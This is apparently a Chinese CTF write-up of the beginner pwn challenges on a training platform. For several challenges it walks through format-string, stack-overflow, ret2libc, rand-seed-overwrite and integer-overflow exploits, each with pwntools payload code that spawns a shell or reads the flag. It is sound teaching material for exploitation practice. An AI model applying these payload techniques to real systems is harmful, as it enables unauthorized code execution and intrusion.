tcl 到现在才算是正经昨晚攻防世界的pwn新手区,
整理wp:
题目文件:
https://www.jianguoyun.com/p/DSZC7xcQg9bmBxjp5eoC (访问密码:emFwst)
这其中利用到的相关漏洞:
格式化字符串、栈溢出、伪随机数覆盖种子、整数溢出
另外由于自己的exp设置好模板等, 基本都是一个比较大的框架里,每个exp都比较大, 而且会有不需要的部分,所以exp只是写出来关键的payload,前后的部分大都是套路,每次都在写的一样的东西,
其实这个是一般的pwn题目的常规套路,既,给一个二进制文件,分析其漏洞并写出exp, 再远程连接给出的端口,利用这个漏洞获取权限读取flag, 或直接读取flag,
这个题目就没有设置漏洞,这本身是一个获取shell的程序
点击获取远程场景,然后使用nc连接:
nc -nv host port
然后直接获取到了shell,则获取列表:
ls
然后看到flag,直接查看得到:
cat flag
先在linux下查看基础信息:
其中的语句:
NX: #堆栈不可执行--DEP
Canary: #栈保护
PIE: #内存地址随机化ASLR
然后扔到ida中查看伪代码,发现printf
的危险用法。
格式化字符串漏洞:
这类漏洞主要来源于printf一系列的可变参的库函数。
他无法区别自己的参数中由程序设定的部分和用户数据部分,所以当我们使用一些非规范的编码方式时会造成这个漏洞。
比如:
printf("%d%d%d")
我们不向print中传入数据,只要求输出格式,在运行时,print会输出数据,这是栈中的用户数据。
printf(&x)
当出现这种情况时,print会将一个数据打印出来,这是我们可以将这段数据写成输出格式,就可以使用printf输出一些地址信息、数据或其他一些敏感信息。而且
printf
中的格式语句%n
还可以改变程序内数值,我们本题目就利用到了这一点。此外还有
%x$n
的用法,x表示偏移,可以直接指向那个偏移位置对应的栈内空间
我们利用这个格式化字符串漏洞,返回栈内数据。
我们payload中,利用格式化中的``%x$n`,可以凭借此将pwnme修改。
注意这里多使用pwndbg调试, 要注意, %n格式是赋值到对应位置所指向的内存, 因此我们需要在栈中有一个只想pwnme的地址的指针,
我们使用写入名字的位置写入这个指向pwnme的指针,
然后在其后的格式化字符串位置修改pwnme,
但是要注意的是我们name写入的是中间位置, 而在栈中选取的时候只会选取到对齐的,我们应该前面补上四位, 然后对格式化字符串用%p,%p,%p,%p...
来确定下我们目标的偏移位置,
使用pwntools写exp修改pwnme的值:
name = b'aa' + p32(pwnme_addr)
payload = 'a'*8 + '%8$n'
我们发现最开始v5不能为1926,但是后面判定其为1926。
注意到v5的值前后矛盾。
如果是re题目,这样的判定后有应该是一个输出flag的函数,然后动态控制直接转向flag输出函数。
但pwn题目我们面对这样的情况会使用攻击手段修改掉这个参数,其中这个题目明显是栈溢出。
先计算v4v5之间的距离,由ebp-0x18
到ebp-0x20
为8位,我们得到payload并写出exp:
payload = "a" * 8 + p64(1926)
ida载入发现这个题目和when_did_you_born
两个题目是一样的。
payload = 'a'*4 + p64(0x6E756161)
运行得到flag:
ida载入发现main函数极为简单。
得到溢出点,然后发现程序内存在获取shell的函数:
我们将程序劫持并跳转到该位置即可。
计算距离为0x80,可以写出exp:
payload = 'a'*136 + p64(0x400596)
得到flag:
进入子函数,发现溢出点:
发现程序中没有了获取shell的函数,我们需要手动设置,先找到system和bin/sh的位置。
system我们直接在文件内查找:
shaddr = 0x0804A024
e = ELF("./level2")
sysaddr = e.symbols["system"]
payload = 'a' * 0x8c + p32(sysaddr) + p32(0) + p32(shaddr)
注意这里中间的空位, 是为了补齐栈帧中返回值的位置,其实我们也可以指定特定的返回值, 然后运行完这个调用后返回到那个位置, 我们这里已经getshell了, 就无所谓了。
函数处理一堆,其实就一个位置重要,
这里的栈溢出, 还有一个name, 可以往bss段写入数据,
我们还可以看到system的plt表, 于是这个题目和level2基本相同,
p.sendlineafter("name", "/bin/sh\x00")
payload = b'a'*0x26+b'a'*4+ p32(0x8048420) + p32(0x08048420) + p32(0x0804A080)
p.sendlineafter("here", payload)
还是要注意这个中间占位的一个数据, 其实也可以写0.
只有一个栈溢出, 这次啥都没了,但是有个libc,
我们去先使用write泄露出来libc中的地址,然后去得到libc中的system函数地址和’/bin/sh’地址, 就可以getshell,
主要的位置:
write_plt = elf.symbols['write']
write_got = elf.got['write']
write_libc = libc.symbols['write']
sys_libc = libc.symbols['system']
sh_libc = next(libc.search(b'/bin/sh'))
ret_addr = 0x0804844b
payload1 = b'a'*140 + p32(write_plt) + p32(ret_addr) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter('Input:\n', payload1)
write_addr = u32(cn.recv(4))
success(hex(write_addr))
sys_addr = write_addr - (write_libc - sys_libc)
sh_addr = write_addr - (write_libc - sh_libc)
payload2 = b'a'*140 + p32(sys_addr) + p32(ret_addr) + p32(sh_addr)
p.sendlineafter("Input:\n", payload2)
这个地方中间的占位数据就必须得是写好的一个地址,用于第一次write以后返回的地址, 这里我们设置到溢出的函数, 触发下一次的栈溢出。
这个题目啰嗦的一批,重点其实是一个格式化字符串漏洞和shellcode,
大致分析一下程序,漏洞是一个格式化字符串改掉一个位置触发shellcode,
输入的位置, 最开始的name无所谓, 其他的输入点都是确定的,一个格式化字符串漏洞要修改值, 是’%x$n’形式, 然后shellcode就是getshell的形式。
这里可以找到偏移为7个, 可以的到exp:
context(os = 'linux', arch= 'amd64')
# secret
(p.recvuntil('secret[0] is '))
s0 =int(p.recvuntil('\n')[:-1], 16)
success(hex(s0))
success(s0)
(p.recvuntil('secret[1] is '))
s1 = int(p.recvuntil('\n')[:-1], 16)
success(hex(s1))
name = 'aaa'
p.recvuntil('name be:\n')
p.sendline(name)
p.recvuntil('up?:')
p.sendline('east')
p.recvuntil('leave(0)?:')
p.sendline('1')
# wish
p.recvuntil('address\'')
p.sendline(str(s0))
p.recvuntil("And, you wish is:\n")
payload="%085d%7$n"
p.sendline(payload)
# shellcode
p.recvuntil('SPELL\n')
p.sendline(asm(shellcraft.amd64.linux.sh()))
主要的函数逻辑就是 猜数字,才对10次, 我们直接得到flag,
我们注意到这个函数的种子在栈中,输入名字的时候又存在一个栈溢出,我们可以直接利用栈溢出去修改掉种子,
首先先得到一个种子为1的时候十个随机数:
#include
#include
int main(void){
srand(1);
for (int i = 0; i < 10; i ++){
int test = rand() % 6 + 1;
printf("%d,", test);
}
return 0;
}
得到:2,5,4,2,6,2,5,1,4,2
然后exp:
payload = b'a'*32+p64(1)
p.sendlineafter("name:", payload)
arr = [2,5,4,2,6,2,5,1,4,2]
for i in range(10):
p.sendlineafter("number:", str(arr[i]))
这个题目比较奇特的位置, 第一个输入点是一个确定的1, 应该是所有的输入点都不存在溢出,
但是后面的这个strcpy位置, 表面看是先确定了长度以后在进行的, 应该不存在溢出,
这个v3最大值为0xff, 即最大为255, 则256就为0
我们输入269 会自动舍弃高位,就为4, 这时候复制一个269长度的字符串,就会造成溢出,
p.sendlineafter("username:", 'aaa')
p.recvuntil("passwd:")
payload = b'a'*0x14 + b'a'*4 + p32(0x804868B) + b'a'*232
p.sendline(payload)